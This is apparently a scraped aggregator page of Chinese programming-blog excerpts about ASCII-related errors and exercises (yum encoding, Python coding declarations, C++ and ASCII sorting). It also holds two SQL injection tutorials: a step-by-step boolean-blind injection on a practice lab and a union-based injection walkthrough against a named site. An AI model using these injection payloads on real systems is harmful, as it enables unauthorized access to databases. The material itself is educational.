ascii

Failure talking to yum: 'ascii' codec can't encode characters in position 168-172: ordinal not in ra

浪尽此生 提交于 2020-02-04 04:35:36
文章目录 Failure talking to yum: 'ascii' codec can't encode characters in position 168-172: ordinal not in range(128) 如何配置yum数据源 **什么是yum** **如何配置yum仓库** 如何修改国内数据源 Centos7修改国内阿里数据源 Failure talking to yum: ‘ascii’ codec can’t encode characters in position 168-172: ordinal not in range(128) 什么时候会出现这个问题 当你使用yum命令下载依赖包的时候,若没有配置yum仓库的情况下会出现这个问题问题 怎么解决? 很简单,配置yum仓库 如何配置yum数据源 什么是yum Yum(全称为 Yellow dog Updater, Modified)是一个在Fedora和RedHat以及CentOS中的Shell前端软件包管理器。基于RPM包管理,能够从指定的服务器自动下载RPM包并且安装,可以自动处理依赖性关系,并且一次安装所有依赖的软件包,无须繁琐地一次次下载、安装。 如何配置yum仓库 yum的配置文件在/etc/yum.repos.d/目录下。 用vim为rhel7.repo文件进行配置(rhel7是自定义的

执行Python脚本报错:SyntaxError: Non-ASCII character '\xe8' in file......

帅比萌擦擦* 提交于 2020-02-02 13:25:25
如果python(2.x)脚本中带有中文,则会报错: SyntaxError: Non-ASCII character '\xe8' in file demo.py on line 7, but no encoding declared; see http://python.org/dev/peps/pep-0263/ for details 原因是而Python 2.x支持的 ASCII 码无中文 解决方案只需要在脚本的头文件加上: # -*- coding: utf-8 -*- 或: # coding:utf-8 来源: CSDN 作者: 糖冰橙 链接: https://blog.csdn.net/tt75281920/article/details/104142207

【web安全】sql注入之盲注靶场实战

浪子不回头ぞ 提交于 2020-02-02 03:08:28
第一题 打开靶场,输入id参数 页面显示内容,然后直接输入 ?id=1' and 666=666 -- yuyu 页面显示正常 然后输入 ?id=1' and 666=888 -- yuyu 发现页面不正常 但是没有报错,猜测存在盲注 然后就直接查一下数据库的名字的长度,输入 ?id=1' and length((select database()))>10 -- yuyu 发现页面还是显示不正常 就猜测数据库的名字长度少于或等于10,然后继续猜,输入 ?id=1' and length((select database()))>5 -- yuyu 发现页面显示正常了 就猜测数据库的名字大于5,少于或等于10,然后就继续猜,输入 ?id=1' and length((select database()))>8 -- yuyu 发现页面不正常 就继续猜 ?id=1' and length((select database()))>7 -- yuyu 页面正常 然后继续猜 ?id=1' and length((select database()))>9 -- yuyu 猜到大于7,不大于8和9 就试试等于8 ?id=1' and length((select database()))=8 -- yuyu 发现页面正确 就猜到数据库名字长度是8

sql注入总结

那年仲夏 提交于 2020-02-01 22:14:47
sql注入定义 就是通过把sql命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行的sql命令的目的。 sql注入分类 联合查询 通过执行等同于将一个表追加到另一个表的操作来组合两个表的查询 首先我们先来了解一下mysql的系统函数 user ( ) : 当前使用者的用户名 database ( ) : 当前数据库名 version ( ) : 数据库的版本 datadir : 读取数据库的绝对路径 @@vasedir : mysql安装路径 @@version_compile_os : 操作系统 concat ( ) : 连接一个或者多个字符串 group_concat ( ) : 连接一个组的所有字符串,并以逗号分隔每一条数据 然后再来了解下union UNION 用于合并两个或多个 SELECT 语句的结果集,并消去表中任何重复行。 UNION 内部的 SELECT 语句必须拥有相同数量的列,列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的列的顺序必须相同.默认地, UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL 。当 ALL 随 UNION 一起使用时(即 UNION ALL ),不消除重复行。 mysql 5.0版本以后提供了information.schema表,表中记录了数据库中所有的库、表

7-21 大小写字母转换

心不动则不痛 提交于 2020-02-01 19:27:10
输入样例: 在这里给出一组输入。例如: A b 输出样例: 在这里给出相应的输出。例如: a B 参考代码一: tolower(a) 变成 ascii代码 ,再(char)转字符 # include <iostream> using namespace std ; int main ( ) { char a ; while ( cin >> a ) { if ( a >= 65 && a <= 90 ) //如果a是大写字母 { cout << ( char ) tolower ( a ) << endl ; } if ( a >= 97 && a <= 122 ) //如果a是小写字母 { cout << ( char ) toupper ( a ) << endl ; } } } C++常用的大小写转换的方法 来源: CSDN 作者: 45159762 链接: https://blog.csdn.net/qq_45159762/article/details/104134829

hdu 2000 ASCII码排序解题报告

眉间皱痕 提交于 2020-01-30 14:43:37
链接: http://acm.hdu.edu.cn/showproblem.php?pid=2000 ASCII码排序 Problem Description 输入三个字符后,按各字符的ASCII码从小到大的顺序输出这三个字符。 Input 输入数据有多组,每组占一行,有三个字符组成,之间无空格。 Output 对于每组输入数据,输出一行,字符中间用一个空格分开。 Sample Input qwe asd zxc Sample Output e q w a d s c x z 1 /********* hdu 2037 ************/ 2 /********* 琴心&剑胆 ************/ 3 /********* 2011/5/4 ************/ 4 5 #include <stdio.h> 6 #include <string.h> 7 #include <stdlib.h> 8 int cmp( const void *m,const void *n ){ 9 return *(char *)m-*(char *)n;10 }11 main(){12 char a[3];13 14 while( scanf( "%s", a )!=EOF ){15 qsort( a,3,sizeof(a[0]),cmp );16 int i;17 for(

ASCII码排序

爱⌒轻易说出口 提交于 2020-01-30 14:29:46
ASCII码排序 时间限制: 3000 ms | 内存限制: 65535 KB 难度: 2 描述 输入三个字符(可以重复)后,按各字符的ASCII码从小到大的顺序输出这三个字符。 输入 第一行输入一个数N,表示有N组测试数据。后面的N行输入多组数据,每组输入数据都是占一行,有三个字符组成,之间无空格。 输出 对于每组输入数据,输出一行,字符中间用一个空格分开。 样例输入 3 qwe asd zxc 样例输出 e q w a d s c x z 1 #include <stdio.h> 2 3 #define SIZE 3 4 5 int main() 6 { 7 char array[SIZE]; 8 int times; 9 10 scanf("%d", &times); 11 12 while(times > 0) 13 { 14 int i = 0; 15 char min; 16 17 scanf("%s", &array[0]); //输入要排序的字符串 18 19 for(; i < SIZE; i ++) //选择排序对字符数组排序 20 { 21 int j = 0; 22 int min = i; 23 24 for(j = i; j < SIZE; j ++) //找出剩下最小的放到数组前面 25 { 26 if(array[j] <= array[min])

c++打印ascii码表--wcout版

泪湿孤枕 提交于 2020-01-30 07:27:53
/* * C++ Program to Print ASCII table (0 - 127) */ #include<iostream> #include<iomanip> using namespace std; wchar_t const* character[] = {L"NULL(空)", L"SOH(标题开始)", L"STX(正文开始)", L"ETX (正文结束)", L"EOT (传送结束)", L"ENQ (询问)", L"ACK (确认)", L"\\a",L"\\b",L"\\t",L"\\n",L"\\v",L"\\f",L"\\r",L"SO(移出)",L"SI(移入)", L"DLE(退出数据链)", L"DC1 (设备控制1)", L"DC2(设备控制2)", L"DC3(设备控制3)", L"DC4(设备控制4)", L"NAK (反确认)", L"SYN (同步空闲)", L"ETB (传输块结束)", L"CAN (取消)", L"EM (媒介结束)", L"SUB (替换)", L"ESC (退出)", L"FS (文件分隔符)", L"GS (组分隔符)", L"RS (记录分隔符)", L"US (单元分隔符)", L"(空格)"}; int main() { locale::global(locale("")); wcout.imbue

Why the ASCII value of a digit character is equal to the value plus '0'?

这一生的挚爱 提交于 2020-01-30 05:13:19
问题 Why when we want to convert an ASCII value of a digit into an integer, we need to do: value - '0' ? And the other way around, to convert Integer to ASCII, we need to do: value + '0' Why is that? 回答1: Because the integral values of the digit characters are guaranteed by the C standard to be consecutive. Therefore '1' - '0' == 1 , '2' - '0' == 2 , etc. from which you can infer that your formulas really do work. Sidenotes: Since this is guaranteed by the standard, it works even if the target

【Web漏洞】SQL注入

半腔热情 提交于 2020-01-30 03:00:40
目录 Mysql注入 union query(union联合查询) time-based blind(基于时间的盲注) boolean-based blind(基于布尔型盲注) Access注入 boolean-based blind(基于布尔型盲注) Mysql注入 union query(union联合查询) 1、回显正确 http://www.dandelion.com/about.php?id=15' and 1=1 --+ 2、回显错误,断定存在注入,并确认payload http://www.dandelion.com/about.php?id=15' and 1=2 --+ 3、回显错误,字段小于9 http://www.dandelion.com/about.php?id=15' order by 9 --+ 4、回显正确,字段长度为8(凡是小于等于正确字段长度都会回显正确) http://www.dandelion.com/about.php?id=15' order by 8 --+ 5、将参数改为负值(清空页面输出),并构造联合查询 http://www.dandelion.com/about.php?id=-15' union select 1,2,3,4,5,6,7,8 --+ 输出: 5 6、查询用户名,当前数据库名,当前数据库版本,数据库路径